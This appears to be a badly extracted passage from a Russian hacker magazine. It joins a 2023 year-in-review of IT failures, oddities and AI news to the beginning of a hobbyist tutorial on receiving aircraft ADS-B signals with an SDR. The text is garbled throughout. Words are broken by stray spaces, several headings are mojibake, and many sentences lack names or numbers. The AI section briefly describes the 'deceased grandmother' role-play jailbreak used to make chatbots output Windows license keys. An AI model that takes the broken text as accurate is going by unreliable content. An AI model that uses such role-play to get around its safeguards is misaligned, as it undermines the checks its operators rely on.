на устрой ства Pixel, работа ющие на базе про цес соров Google Tensor.

На YouTube обна ружи ли ролик, зас тавля ющий перезаг ружать ся смар тфо- 
ны Pixel

Ча ще все го в 2023 году пирати ли сери ал . На вто- 
ром мес те по ска чива ниям находит ся , а замыка ет

трой ку лидеров вто рой сезон сери ала .

«Одни из нас»
«Ман далорец»

«Локи»

СТРАННОСТЬ ГОДА

СВОЕВОЛЬНЫЕ 3D-
ПРИНТЕРЫ

Что может быть более стран ным и пуга ющим, чем устрой ство, которое вне- 
зап но начина ет работать само по себе, без учас тия челове ка? Вла дель- 
цы 3D-прин теров Bambu Lab точ но отве тят — ничего.

В августе 2023 года  начали «жить сво ей жизнью»
и зарабо тали сами по себе, что в ито ге при вело к полом кам и пол ному выходу
девай сов из строя, печати новых про ектов поверх ста рых, соз дало угро зу
воз горания и добави ло их вла дель цам немало седых волос.

прин теры Bambu Lab

Как вско ре объ яснил про изво дитель, мас совый сбой 3D-прин теров про- 
изо шел из-за ошиб ки в работе обла ка ком пании: задания, отправ ленные
на печать, ока зались заб локиро ваны в обла ке и запус тились нем ного поз же,
ког да людей уже не было рядом.

В ито ге пред ста вите ли Bambu Lab изви нились перед вла дель цами 3D-
прин теров и заяви ли, что берут на себя «пол ную ответс твен ность за слу чив- 
шееся». Ком пания пообе щала помочь пос тра дав шим с ремон том, а так же
бес плат но выс лать им нуж ные зап части и филамент.

Äðóãèå ñòðàííûå íîâîñòè 2023 ãîäà
1. 

. Ока залось, что инже неры служ бы под дер жки Microsoft тоже
иног да исполь зуют кря ки.

Под дер жка Microsoft «взла мыва ет» Windows поль зовате лей из-за проб лем
с акти ваци ей

2. .
Неиз вес тно, слу жит ли этот скры тый текст какой-то фун кци ональ ной цели,
нап ример игра ет роль образцов дан ных для тес тирова ния, или это прос то
шут ка раз работ чиков.

Ис сле дова тель нашел текст пес ни Coldplay в про шив ке SSD Kingston

3. 
. Истцы тре буют воз мещения ущер ба в раз мере 3 мил лиар- 

дов дол ларов США, так как ком пании яко бы похити ли «огромные объ емы
лич ной информа ции» у интернет-поль зовате лей, без их сог ласия обу чая
ChatGPT на их дан ных.

На OpenAI и Microsoft подали в суд за «похище ние 300 мил лиар дов слов
из интерне та»

4. 
. Быв ший под рядчик саботи ровал работу устрой ств, намерен но

заложив в про шив ку «кодовую бом бу».

Под рядчик «окир пичил» FPV-очки Orqa для опе рато ров дро нов, испортив
про шив ку

5. 
. Пос тра дали 14 биб лиотек в Packagist, часть из которых нас- 

читыва ет сот ни мил лионов уста новок.

Ис сле дова тель взло мал боль ше десяти биб лиотек в Packagist, пыта ясь
най ти работу

По дан ным Ookla, в рей тин ге ско рос ти мобиль ного интерне та
в 2023 году Рос сия занима ет  мес то со сред ним показа- 
телем . В этом году РФ покину ла топ-100 стран

и опус тилась на три строч ки по срав нению с 2022 годом.

102-е
23,97 Мбит/с

При этом по ско рос ти ста ционар ного интерне та Рос сия занима- 
ет  мес то с резуль татом .55-е 84,74 Мбит/с

ФЕЙЛ ГОДА

У TOYOTA
КОНЧИЛОСЬ МЕСТО

НА ДИСКЕ

Ког да работа круп ных заводов и пред при ятий наруша ется или вов се оста нав- 
лива ется из-за хакер ской ата ки — это фейл, а так же серь езное пят но
на репута ции всех сот рудни ков ИБ-отде ла. Но ког да работа заводов оста нав- 
лива ется из-за закон чивше гося мес та на дис ке, это уже эпик фейл!

Имен но такой про вал про изо шел у : в августе 2023 года
автопро изво дитель был вынуж ден на нес коль ко дней оста новить
работу 12 из 14 сво их заводов в Япо нии и 28 сбо роч ных линий из-за сбо ев,
выз ванных нех ваткой мес та на сер верах баз дан ных. В ито ге это обер нулось
сни жени ем объ емов про изводс тва при мер но на 13 тысяч авто моби лей
в день.

ком пании Toyota

В Toyota объ ясни ли, что сбой слу чил ся во вре мя пла ново го обслу жива ния
ИТ-сис тем, которое зак лючалось в упо рядо чива нии дан ных и уда лении фраг- 
менти рован ных дан ных из БД. Одна ко хра нили ще ока залось запол нено
до отка за, и про изош ла ошиб ка, при вед шая к оста нов ке всей сис темы. Инци- 
дент пов лиял непос редс твен но на сис тему заказа про дук ции, и в резуль тате
пла ниро вание и выпол нение про изводс твен ных заданий ста ло поп росту
невоз можным.

Äðóãèå ïðîâàëû 2023 ãîäà
1. . Две

недели сер вер рас кры вал всем жела ющим внут ренние элек трон ные пись- 
ма аме рикан ских воен ных.

Ми нис терс тво обо роны США забыло защитить свой поч товый сер вер

2. .
От 10 до 1000 дол ларов США пос тупили на сче та поль зовате лей по прог- 
рамме Google Pay Reward в виде кеш бэка. Одна ко кеш бэком эти начис- 
ления не были.

Google Pay по ошиб ке перечис лил день ги на сче та поль зовате лей

3. . Пос тра- 
дав шие пожало вались, что у HP нет решения проб лемы, скры тое сер- 
висное меню не отоб ража ется, а прин теры поп росту перес тали заг ружать- 
ся.

HP «окир пичила» прин теры неудач ным обновле нием про шив ки

4. .
Сту дент обна ружил, что на 290 моделях материн ских плат MSI по умол- 
чанию не работа ет фун кция Secure Boot, отве чающая за безопас ную заг- 
рузку UEFI.

На материн ских пла тах MSI боль ше года не работа ет фун кция Secure Boot

5. 
. Пат чи для кри тичес кой уяз вимос ти в Barracuda Email Security

Gateway (ESG) ока зались неэф фектив ны. Про изво дитель заявил, что кли- 
ентам сле дует немед ленно прек ратить исполь зование взло ман ных ESG
и  заменить их.

Ком пания Barracuda Networks рекомен довала кли ентам изба вить ся от уяз- 
вимых ESG

выб росить

 стал самым популяр ным язы ком прог рамми рова ния
по ито гам еже год ного опро са JetBrains. За ним сле дуют ,

,  и . При этом самый активный рост популяр- 
ности в этом году показа ли  и .

JavaScript
Python

HTML/CSS SQL Java
Rust Go

ХАЙП ГОДА

БОЛЬШИЕ
ЯЗЫКОВЫЕ МОДЕЛИ

Встре чай новую номина цию в нашей под борке!
Бы ло бы стран но, если бы мы обош ли сто роной пов семес тный бум ИИ

и ней росетей. Популяр ность этой темы в информа цион ном прос транс тве
ярко иллюс три рует один прос той факт: Кем бридж ский сло варь англий ско го
язы ка (Cambridge Dictionary) наз вал гла гол «гал люцини ровать» сло вом года.
И да, име ется в виду новое зна чение это го тер мина, который сло варь опре- 
деля ет как про изве дение ИИ «лож ной информа ции».

В целом этот год наг лядно показал: без думное при мене ние ИИ не при- 
водит ни к чему хороше му. Нап ример, поль зовате ли Reddit  игро вые
изда ния, которые полага ются на ИИ, писать фаль шивые новос ти о несущес- 
тву ющих обновле ниях для World of Warcraft. А в Discord  соз- 
данную ИИ CAPTCHA, которая ока залась абсо лют но безум ной и нереша- 
емой.

вы нуди ли

на чали при менять

За то энту зиас ты не теряли вре мени даром и прис пособи ли ChatGPT
и Google Bard для генера ции клю чей для 
и . Ока залось, для это го дос таточ но поп росить чат-бота вес ти
себя, как усоп шая бабуш ка поль зовате ля.

Windows 11, Windows 10 Pro
Windows 95

И конеч но, в сто роне от все обще го хай па не оста лись прес тупни ки. Так,
вымога тели активно  с помощью ИИ обна жен ные фото реаль ных
людей, которые затем исполь зуют для шан тажа. Мошен ничес кие инс тру мен- 
ты  и  упро щают соз дание фишин говых рас сылок, инс тру- 
мен тов для взло ма, кар динга и BEC-атак. А скрипт-кид ди тем вре менем 

 ChatGPT для соз дания мал вари.

ге нери руют

WormGPT FraudGPT
при- 

меня ют

Äðóãèå íîâîñòè ÈÈ 2023 ãîäà
1. 

. В откры том пись ме упо мина ются
потен циаль ные рис ки для общес тва и челове чес тва, воз ника ющие
в резуль тате быс тро го раз вития передо вых ИИ-сис тем при отсутс твии
общих про токо лов безопас ности.

Бо лее тысячи экспер тов, вклю чая Воз няка и Мас ка, приз вали при оста- 
новить обу чение ИИ мощ нее GPT-4

2. 
. Ата ка на боль шие язы ковые модели поз воля ет обой ти

средс тва защиты в ChatGPT, Bard и Claude, вынуж дая ИИ выпол нять вре- 
донос ные пром пты.

Уче ные наш ли спо соб авто мати зиро вать соз дание вре донос ных зап росов
для чат-ботов с ИИ

3. .
Экспер ты пыта ются «отра вить» ИИ, что бы помочь худож никам и изда телям
защитить свои работы, которые без спро са исполь зуют ся для обу чения
генера тив ных ИИ, вклю чая Midjourney, DALL-E 3 и Stable Diffusion.

Nightshade отравля ет дан ные, нарушая про цесс обу чения ИИ-моделей

4. . В сети
все чаще рек ламиру ются укра ден ные токены API OpenAI, которые извле- 
чены из чужого кода.

Ра ди дос тупа к GPT-4 люди вору ют пло хо защищен ные клю чи API

5. 
. Забав ный экспе римент: ChaosGPT, осно ван ному на опен сор- 

сном Auto-GPT, дали дос туп к Google и поп росили унич тожить челове чес- 
тво, уста новить мировое гос подс тво и дос тичь бес смер тия.

ИИ ChaosGPT поп росили унич тожить челове чес тво и уста новить мировое
гос подс тво

ЧЕМ ЕЩЕ ЗАПОМНИТСЯ 2023 ГОД
Пра воох раните ли  о взло ме сер веров нашумев шей вымога тель ской груп пиров ки
BlackCat (ALPHV), а так же соз дали инс тру мент для рас шифров ки дан ных, который помога ет
пос тра дав шим вос ста новить фай лы.

от читались

Ком пания Offensive Security выпус тила новый дис три бутив , который пред назна чен
для blue и purple team, то есть ори енти рован на обо рони тель ную безопас ность.

Kali Purple

Google пред ста вила восемь новых доменов вер хне го уров ня (TLD), которые мож но при обрести
для раз мещения сай тов или email-адре сов: .dad, .esq, .prof, .phd, .nexus, .foo, а так же 

. Пос ледние выз вали спо ры сре ди ИБ-спе циалис тов, так как мно гие соч ли их слиш ком
опас ными.

.zip
и .mov

О зак рытии объ явил один из круп ней ших и ста рей ших тор рент-тре керов в мире — ,
работав ший с 2008 года. Пос ле пят надца ти лет работы коман да поп рощалась с поль зовате- 
лями и объ ясни ла, что COVID-19, рост цен на элек тро энер гию и спе циаль ная воен ная опе рация
сде лали даль нейшую работу про екта невоз можной.

RARBG

Вес ной 2023 года влас ти  BreachForums, который счи тал ся круп ней шим хак форумом,
пос вящен ным утеч кам дан ных и активно исполь зовал ся взлом щиками и вымога теля ми для сли- 
ва информа ции. Вла делец и адми нис тра тор сай та Конор Брай ан Фиц патрик (Conor Brian
Fitzpatrick), так же извес тный под ником Pompompurin, уже .

зак рыли
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Взгля ни на небо! Воз можно, над тво ей
головой каж дые нес коль ко минут будет
про летать самолет, а то и не один. Я живу
недале ко от аэро пор та, и воз душный тра- 
фик в моем рай оне осо бен но силь ный.
Сер висы вро де Flightradar24 уди витель но
точ но показы вают информа цию о самоле- 
тах в воз духе, потому что получа ют дан ные
по про токо лу ADS-B. Это мож но делать
самос тоятель но, и сегод ня я покажу как.

Каж дый, конеч но, летал на самоле те или видел его хоть раз в сво ей жиз ни.
Боль шие метал личес кие пти цы кру жат над всей пла нетой и дос тавля ют сот ни
мил лионов людей в раз ные час ти све та. Так было не всег да:
еще каких-то 100 лет назад люди мог ли переме щать ся толь ко по зем ле,
а свер хна деж ных летатель ных аппа ратов не было.

Уже пос ле изоб ретения самоле тов и начала ком мерчес ких рей сов ста ло
понят но, что надо как-то отсле живать все находя щиеся в воз духе суд на, ина- 
че ава рий не избе жать. Радары или тем более визу аль ное наб людение
для это го годят ся пло хо, и в ход пош ла ради освязь. Теперь на бор ту каж дого
самоле та сто ит ави ацион ный тран спон дер. Он силь но облегча ет работу дис- 
петче рам и пилотам и поз воля ет в полете переда вать дан ные с бор товых дат- 
чиков и получать ука зания с зем ли.

Прос тым язы ком ави ацион ный тран спон дер — это устрой ство дву нап- 
равлен ной ради освя зи, которое дела ет две вещи:
1. : ког да дис петчер зап- 

рашива ет дан ные, а тран спон дер отве чает ему в авто мати чес ком режиме.
Зап рос дан ных еще называ ется  (это сло во в перево де

с англий ско го озна чает «доп рос сви дете ля»).

Îò âå÷à åò íà çàï ðîñû íàçåì íûõ ñòàí öèé

èí òåððî ãàöè åé

2. : в этом режиме тран спон- 

дер раз в некото рое вре мя переда ет информа цию о себе, нап ример мес- 
тополо жение или ско рость.

Ñëó æèò ðàäè îìàÿêîì âîç äóøíî ãî ñóä íà

Су щес тву ют раз ные поколе ния, они же режимы тран спон деров. Каж дый
из них соз давал ся для раз ных целей и име ет свою струк туру сиг нала, хотя
более поз дние режимы под держи вают все то же, что и более ран ние (при
этом сиг налы этих про токо лов несов мести мы). Все го есть пять основных
режимов:

 переда ет толь ко иден тифика цион ный номер летатель ного аппа- 
рата. Этот номер может быть жес тко зашит в тран спон дер или наз начен
дис петче ром перед вылетом. На прак тике исполь зовал ся толь ко
для отсле жива ния того, в каком аэро пор ту находит ся самолет.

• Mode A

, соз данный поз же, поз волял отсле живать не толь ко номер аппа- 

рата, но и высоту его полета. Глав ное его пре иму щес тво было в том, что
он поз волял получать высоту самоле та авто мати чес ки, не спра шивая ее
у пилота.

• Mode C

 — это сов ремен ный режим, который сей час исполь зует ся на 99%

всех самоле тов. Поз воля ет не толь ко получать дан ные с бор товых дат- 
чиков, но и отпра вить дан ные обратно на самолет. В этом режиме самолет
име ет пол ную двус торон нюю связь с назем ными стан циями. ADS-B,
который мы будем рас смат ривать сегод ня, явля ется частью это го режима.

• Mode S

 и  более прод винутые, но исполь зуют ся толь ко воен- 

ными. Оба они защище ны куда луч ше (то есть вооб ще хоть как-то защище- 
ны, в отли чие от прош лых), и поковы рять ся там не получит ся.

• Mode 4 Mode 5

Вни матель ный читатель сра зу заметит, что в моем спис ке нет Mode B, как и
Mode D, — оба эти режима про сущес тво вали очень недол го, так что рас смат- 
ривать их нет смыс ла.

Ты можешь купить себе собс твен ный тран спон- 
дер — их мож но лег ко най ти  по цене
до пяти тысяч дол ларов.

на eBay

ADS-B

Ес ли вни матель но почитать опи сание Mode S, мож но заметить, что сооб- 
щения, которые переда ются по это му про токо лу, дол жны отправ лять ся тран- 
спон дером по зап росу назем ного дис петче ра — все, кро ме ADS-B (Automatic
Dependent Surveillance — Broadcast). На рус ский язык это воль но перево дит- 
ся как «авто мати чес кая сис тема сле жения за самоле тами». Сло во Broadcast
тут озна чает, что сооб щения переда ются всем под ряд, а не кому-то кон крет- 
ному, и это откры вает перед нами воз можность их при нимать.

Мно гие выделя ют ADS-B как отдель ный режим работы тран спон дера,
на уров не Mode A, C или S, но на самом деле это все го лишь часть одно го
боль шого режима S. Сооб щение ADS-B — это прос то сооб щение Mode S,
име ющее тип 17.

В этой статье рас смат рива ется толь ко ADS-B (тип 17), но для обще го раз- 
вития будет нелиш ним знать и про дру гие типы сооб щений Mode S:

 (тип 11) — в этом сооб щении по зап росу опе рато ра переда- 

ется уни каль ный 24-бит ный иден тифика тор тран спон дера. Этот номер
обыч но про шива ется на заводе и не меня ется, но в воен ных целях этот
номер иног да под меня ют.

• All-call reply

 (тип 0/16) — сооб щения для пре дот вра- 

щения стол кно вений меж ду самоле тами. Если тран спон дер обна ружит
поб лизос ти дру гой самолет, он отпра вит опо веще ние дру гим сис темам,
которые смо гут пре дот вра тить стол кно вение в воз духе.

• ACAS short and long replies

 (тип 4/5) — сооб щение с дан ными о высоте

и позыв ном (так называ емый squawk-код, который пилот вво дит вруч ную
перед полетом).

• Altitude and identity replies

 (тип 20/21) — это сооб щения с показа ниями бор товых дат чиков,

намечен ным мар шру том и дру гими дан ными, которые могут быть полез ны
для управле ния суд ном.

• Comm-B

Осо бен но хит ро работа ет ACAS, но раз говор о нем выходит за рам ки этой
статьи. Если хочешь глуб же изу чить тему — отме чай ся в ком мента риях, и,
воз можно, я напишу про дол жение!

Все сооб щения Mode S переда ются на самолет на час тоте 1030 МГц, а на
зем лю — на час тоте 1090 МГц.

Са ма ради опе реда ча никак не шиф рует ся, а переда ется мас са инте рес- 
ной информа ции о мес тонахож дении самоле та, его высоте, ско рос ти и дру- 
гих парамет рах, так что в какой-то момент появи лись сер висы вро де

, которые сде лали информа цию о самоле тах дос тупной всем
и даром. Сами сер висы эту информа цию получа ют от боль шого количес тва
дат чиков, уста нов ленных у доб роволь цев по все му миру. Ты тоже можешь
стать одним из них — дос таточ но прос то изъ явить желание и получить от вла- 
дель цев сер виса дат чик для уста нов ки.

Flightradar24

Ôèçè÷åñêàÿ ñòðóêòóðà ñèãíàëà
Сиг налы ADS-B самолет переда ет на час тоте 1090 МГц, как и все осталь ные
сиг налы Mode S. Вто рая час тота — 1030 МГц (uplink) — тут не нуж на, потому
что сиг налы ADS-B переда ются без зап роса.

Для кодиро вания исполь зует ся PPM (Pulse-Position Modulation). Гру бо
говоря, в эфир прос то переда ются биты, которые мож но про читать, сде лав
выбор ку каж дые N мик росекунд. Это хорошо вид но на изоб ражении
из Википе дии.

Как работа ет PPM

В ADS-B дли тель ность каж дого такого бита рав на 0,5 мкс, а зна чит, мож но
сде лать выбор ку каж дые 0,5 мкс, уви деть высокий или низ кий уро вень каж- 
дого бита, записать, а потом пре обра зовать резуль тат в бай ты, что бы
получить исходное сооб щение. Но это в теории, потому что на прак тике есть
проб лемы, с которы ми мы будем раз бирать ся по ходу повес тво вания.

Ñòðóêòóðà ïàêåòà
Ес ли при нять дан ные как есть, получит ся битовая каша, из которой еще нуж но
вытащить полез ные дан ные. Сами они име ют очень чет кую струк туру, так что,
если заметить ее пос тоян ные час ти в потоке дан ных, мож но будет получить
и весь пакет.

Па кет сос тоит из пре амбу лы и собс твен но дан ных. На кар тинке выше хорошо
вид но, что пре амбу ла идет 8 мкс, а даль ше в течение 56 или 112 мкс идут
дан ные.

Вступ ление осо бен но важ но, если вспом нить, что все самоле ты веща ют
на одной час тоте и сиг налы от них могут при ходить одновре мен но. Проб лема
потери нак ладыва ющих ся сиг налов реша ется очень прос то: если что-то
не ловит ся, это пой мает кто-то дру гой. При емни ков очень мно го, и пок рыва- 
ют они всю оби таемую пло щадь Зем ли, так что, если кон крет ный сиг нал ока- 
зал ся слиш ком сла бым и не был при нят на одном при емни ке, он будет дос- 
таточ но гром ким для дру гого при емни ка и не потеря ется. Конеч но, такой под- 
ход не озна чает, что будут получе ны все сиг налы, но это и не нуж но — они
регуляр но пов торя ются, и от потери час ти сиг налов беды не будет.

Я уже говорил, что каж дый бит кодиру ется 0,5 мкс, и это дей стви тель но
так, но для упро щения при ема была вве дена условность: 1 нас тоящий бит
кодиру ется дву мя по 0,5 мкс. Еди ница при этом кодиру ется как 1 и 0,
а ноль — как 0 и 1 (то есть дан ные 1011 будут выг лядеть как 10011010).
Это не усложня ет при емник, но защища ет от помех и поз воля ет надеж но
ловить сиг нал. Без этой доработ ки переда ча нес коль ких нулей будет выг- 
лядеть как тишина в эфи ре, а так при емник всег да точ но видит сиг нал, даже
если переда ются нули.

Ñòðóêòóðà ïîëåçíûõ äàííûõ
Пред положим, мы декоди рова ли сиг нал и наш ли в нем сооб щение. Теперь
нуж но декоди ровать блок полез ных дан ных и отсе ять ненуж ное (то есть все
сооб щения Mode S, кро ме ADS-B).

По ля ADS-B

Дли на инте ресу юще го нас сооб щения — 112 мкс, что как раз рав но 112 бит
(спа сибо двух битно му кодиро ванию!), и делит ся оно на пять основных бло- 
ков:
1. DF (Downlink Format) — код фор мата переда чи, 5 бит. Для ADS-B он всег да

равен 17.
2. CA (Transponder capability) — тип передат чика и его уро вень воз можнос- 

тей, 3 бита. Нуж но это поле для того, что бы дис петчер знал, какие дан ные
мож но зап рашивать у это го тран спон дера. Это поле может иметь зна- 
чение 0, 4, 5 или 6, а 1–3 и 7 зарезер вирова ны для будуще го исполь- 
зования. 0 — это тран спон дер пер вого уров ня, и обыч но такие тран спон- 
деры не име ют ACAS (сис темы пре дот вра щения стол кно вений). 4 —
это тран спон дер вто рого или более совер шенно го уров ня, тоже не име- 
ющий ACAS, но уме ющий переда вать высоту (то есть работать с Mode C
и Mode S). 5 и 6 — это тот же 4, но с под дер жкой ACAS, который может
быть вклю чен (6) или вык лючен (5).

3. ICAO — уни каль ный номер самоле та, 24 бита. Номер нужен для опре деле- 
ния отпра вите ля сиг нала. Этот номер однократ но про шива ется на заводе
и никог да не меня ется в про цес се экс плу ата ции, но все же есть ребята,
которые уме ют их менять. Сущес тву ют еще воен ные тран спон деры, но на
них вооб ще никакие пра вила не дей ству ют, так что там может быть что
угод но.

4. ME (Message) — собс твен но полез ная наг рузка с дан ными о высоте, ско- 
рос ти или чем-то дру гим, дли на — 56 бит. Этот блок мы будем под робно
раз бирать ниже.

5. PI (Parity/Interrogator ID) — кон троль ная сум ма, 24 бита.

Ïîëå ME
По ле ME — это самая инте рес ная для нас часть, ведь имен но тут переда ются
коор динаты, ско рость полета, высота и дру гие дан ные с бор товых дат чиков.
56 бит малова то для переда чи всех дан ных разом, так что у каж дого сооб- 
щения свой тип, который ука зыва ется в пер вых пяти битах это го поля. Получа- 
ется эда кая мат решка: свой фор мат сооб щения у Mode S, что бы обоз начить
ADS-B, и свой фор мат сооб щения внут ри ADS-B, что бы ска зать, что за дан- 
ные внут ри.

Все го у ADS-B 31 тип дан ных, но мы раз берем толь ко самые глав ные.
 — сооб щение с иден тифика цион ными дан ными. Там содер- 

жится позыв ной и дру гие дан ные, свя зан ные с регис тра цией и опоз наватель- 
ными свой ства ми самоле та (нап ример, лег кий летатель ный аппа рат
или тяжелый). Эти позыв ные показы вают ся на тер миналах в аэро пор тах
и пред став ляют собой номер рей са. Декоди рован ное сооб щение выг лядит
при мер но так:

Êîä 1–4

ME : ADSB Msg Type  : (4) Aircraft Identification and Category 
CAT: Aircraft Cat   : (0:0) No ADS-B Emitter Category Information 
   flight Number   : SIA224 
Wake Type           : (TC:4 CAT:0) - No Information Provided 

 — позиция на зем ле. Эти дан ные обыч но исполь зуют ся, что бы

знать, где и на какой полосе находит ся самолет. В сооб щении мож но най ти
широту, дол готу, ско рость и нап равле ние дви жения самоле та. При мер
декоди рован ного сооб щения:

Êîä 5–8

ME : ADSB Msg Type  : (7) Surface Position 
 Super Sonic?      : No 
 velocity          : 0.00 
 EW/NS VEL         : (East/west: 0) (North/South: 0) 
 heading           : 253.12 

Before Decoding : Half of vehicle location 
 UTC Sync?     : false 
 CPR Frame     : Odd 
 CPR latitude  : 8675 
 CPR longitude : 17674 

 — позиция в воз духе (обыч но переда ется вмес те с высотой). Важ- 

но понимать, что най ти в при мере ниже при выч ную широту и дол готу нель зя,
пос коль ку исполь зует ся корот кая нотация коор динат вмес то нор маль ной. Что
делать с такими коор дината ми — рас ска жу ниже.

Êîä 9–19

ME : ADSB Msg Type  : (14) Airborne Position (with Barometric 
altitude) 
 Containment Radius: 1852.00 metres 
 Surveillance      : (status:0) No condition information 
 NIC Supplement B  : 0 
 Nav Integrity     : 5 

AC: altitude        : 3100 feet (q bit: false, m bit: false) 
Before Decoding : Half of vehicle location 
 UTC Sync?     : true 
 CPR Frame     : Odd 
 CPR latitude  : 101906 
 CPR longitude : 103292 

 — ско рость воз душно го суд на.Êîä 19

ME : ADSB Msg Type  : (19) Airborne velocity 
SUB:      Sub Type  : 3 
 Intent Change     : false 
 IFR Capable       : true 
 Nav Accuracy Cat  : 0 
 heading           : 8.44 
 Super Sonic?      : No 
 velocity          : 136.00 
 EW/NS VEL         : (East/west: 0) (North/South: 0) 
 Vertical Rate     : -768 
 HAE Delta         : Unavailable 

Раз бирать по битам струк туру каж дого сооб щения мож но очень дол го, так
что, если тебе дей стви тель но инте рес но, мож но поис кать готовые пар серы
ADS-B на GitHub и под смот реть струк туру там. Нам же сей час раз бирать
стро ение этих сооб щений нет смыс ла еще и потому, что переда вать мы пока
что ничего не будем, а углублять ся в тон кости про токо ла не хочет ся.

CPR, ÈËÈ ÊÀÊ ÓÑËÎÆÍÈÒÜ ÏÐÎÑÒÎÅ

Для точ ного опре деле ния коор динат обыч но исполь зуют ся два чис ла —
широта и дол гота. 32 бита oat обес печива ют точ ность до семи зна ков пос ле
запятой, что в перес чете на коор динаты дает точ ность поряд ка нес коль ких
сан тимет ров, а если чуть умень шить точ ность (до десят ков сан тимет ров), то
два таких чис ла как раз мож но запих нуть в 56 бит сооб щения, и не при дет ся
городить неведо мо что с ком пак тны ми коор дината ми. Точ ность даже в десят- 
ки сан тимет ров для самоле та, летяще го со ско ростью боль ше 100 м/с, прос- 
то огромна, так что, чем руководс тво вались авто ры про токо ла, понять слож- 
но.

Тем не менее для записи коор динат исполь зует ся фор мат CPR (Compact
Position Reporting), который, как ясно из наз вания, пред назна чен для ком пак- 
тной переда чи коор динат. Часть дан ных мы уже видели в при мере сиг нала
с коор дината ми выше. Пос коль ку ужать боль шое количес тво дан ных
в малень кий объ ем невоз можно, эти дан ные прос то раз делили на час ти
и отправ ляют в два захода, а пакеты ста ли называть ся прос то «чет ный»
и «нечет ный». Как из это го получить нор маль ные коор динаты? Сей час покажу!

Пред ста вим, что все самоле ты лета ют в 2D-прос транс тве. Это одно прос- 
транс тво раз делим на две сет ки с раз ными парамет рами и назовем их чет ной
сет кой и нечет ной. Чет ную сде лаем 4 на 4, а нечет ную — 5 на 5.

До пус тим, мы хотим передать мес тополо жение самоле та в сет ке раз- 
мером 16 на 16 — пусть это будут коор динаты . Если бы у нас была одна

сет ка, то мы бы переда ли прос то 9 и 7, а опе рато ры бы у себя на кар те нас
наш ли, но в CPR на самом деле сеток две.

(9,7)

Две сет ки коор динат

В таких сет ках мы ука жем наше положе ние  в виде  на чет ной сет- 

ке (сле ва) и  в нечет ной сет ке (спра ва). Ког да опе ратор получа ет оба

сооб щения, ему нуж но сов местить их на обе их сет ках.

(9,7) (1,3)
(4,2)

Две сет ки с нанесен ными дан ными из пакетов

Ес ли наложить сет ки с получен ным коор дината ми друг на дру га, в точ ке сов- 
падения и будет находить ся иско мый объ ект.

Вы чис ление пол ных коор динат

Я опи сал алго ритм без матема тичес ких вык ладок и про чих слож ностей, что бы
ты мог при мер но пред ста вить себе, как работа ет вос ста нов ление коор динат
из двух час тей. Реаль ная сет ка далека от слу чая из при мера и выг лядит,
как на кар тинке ниже.

Ре аль ная сет ка

Продолжение статьи →
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Те перь, ког да мы зна ем устрой ство всех основных час тей про токо ла, мож но
поп робовать при нять реаль ный сиг нал. Для при ема любого подоб ного сиг- 
нала пот ребу ются три базовые вещи: антенна, при емник и ПК.

Àíòåííà
Нач нем с самого важ ного пред мета, без которо го не обхо дит ся никакая
ради освязь, — антенны. Выбор антенны зависит от мно жес тва фак торов,
вклю чая час тоту, нап равлен ность сиг нала, сре ду его про хож дения. Наш сиг- 
нал переда ется на час тоте 1090 МГц, и при нимать мы его будем на откры том
воз духе. Самый прос той вари ант (но не самый эффектив ный) — это обыч ная
шты ревая антенна. Такую антенну мож но сде лать из кус ка про вода или про- 
воло ки, глав ное здесь — пра виль но рас счи тать ее дли ну. Дли на антенны
зависит от дли ны вол ны, которую мы хотим на эту антенну при нимать. Дли на
вол ны — это рас сто яние меж ду дву мя сосед ними «гор бами» сиг нала (на
рисун ке сни зу).

Дли на вол ны — это λ

Лям бда — это и есть дли на вол ны, а получить ее из час тоты мож но по фор- 
муле , где  — ско рость све та, а  — час тота сиг нала. Для 1090 МГц

она будет при мер но рав на 27,5 см. Если взять метал личес кий штырь такой
дли ны, то у тебя получит ся так называ емая пол новол новая антенна, которую
мож но спо кой но уко ротить вдвое или даже в четыре раза, что бы получить
полувол новую или чет верть вол новую антенну соот ветс твен но. Раз ница
в чувс тви тель нос ти этих антенн, конеч но, будет, так что советую исполь зовать
полувол новую антенну, дли на которой сос тавит при мер но 13,75 см.

λ = C/f Ñ f

Ес ли хочешь покол хозить по пол ной, почитай
, как сде лать диполь ную антенну для работы

с ADS-B из проб ки и про воло ки.
гайд

Де лать свою антенну я не буду — это не самое прос тое занятие, да и нуж ная
антенна у меня уже была. Тебе могут подой ти, нап ример, антенны для раций,
если при нимать на откры том прос транс тве и вок руг не слиш ком мно го
шумов. Я исполь зую обыч ную шты ревую coil-loaded-антенну, которая, по сути,
работа ет как шты ревая, но за счет катуш ки име ет мень шую дли ну.

Моя антенна

Ос новные харак терис тики антенны мож но изме рить спе циаль ным век торным
ана лиза тором, который генери рует раз ные час тоты и про веря ет реак цию
антенны на них.

Век торный ана лиза тор NanoVNA

Вы вод ана лиза тора кажет ся слож ным на пер вый взгляд, но на самом деле
все доволь но прос то. Что бы узнать, годит ся ли антенна для какой-то кон крет- 
ной час тоты, дос таточ но пос мотреть на жел тую линию SWR, которая по-рус- 
ски называ ется КСВ (коэф фици ент сто ячей вол ны). Этот коэф фици ент
показы вает, какую часть сиг нала антенна переда ла в эфир, а какая вер нулась.
Чем мень ше сиг нала вер нулось, тем луч ше антенна работа ет на кон крет ной
час тоте.

На при боре вид но, что на мет ке 1 (я выс тавил ее на час тоту 1090 МГц)
SWR равен 1,73, что очень даже неп лохо. Обыч но хорошей антенной счи тает- 
ся та, у которой КСВ око ло 1 (не боль ше 2).

Ïðèåìíèê
В качес тве при емни ка мы будем исполь зовать SDR-донгл. Он пред став ляет
собой обык новен ное радио, которое управля ется с помощью спе циаль ных
прог рамм, а не кру тил кой с делени ями, как на дедов ских при емни ках.
Для при ема ADS-B подой дет любой SDR-адап тер, начиная с самого дешево- 
го RTL-SDR и закан чивая дороги ми BladeRF и ему подоб ными. Цена дешевых
вари антов начина ется от 30 дол ларов, так что при общить ся может каж дый.

Я буду исполь зовать BladeRF micro — он под держи вает боль шой диапа зон
час тот и име ет боль шую час тоту выбор ки, о которой погово рим поз же.

BladeRF

Ес ли у тебя еще нет SDR — не беда, RTL-SDR сто- 
ит все го око ло 30 дол ларов и про дает ся во мно- 
гих интернет-магази нах. Вот толь ко имей в виду,
что этот при бор уме ет толь ко при нимать сиг налы,
но не уме ет переда вать их.

Ñîáèðàåì âñё âìåñòå
Те перь, ког да у тебя есть антенна и SDR, нуж но най ти сво бод ное от помех
и пре пятс твий мес то — я прос то выехал за город километ ров на десять. Сиг- 
налы око ло 1 ГГц (к которым отно сит ся и наш ADS-B) поч ти не рас простра- 
няют ся за горизонт, так что, если ты не живешь око ло аэро пор та и вок руг есть
пре пятс твия, мож но не пой мать вооб ще ничего.

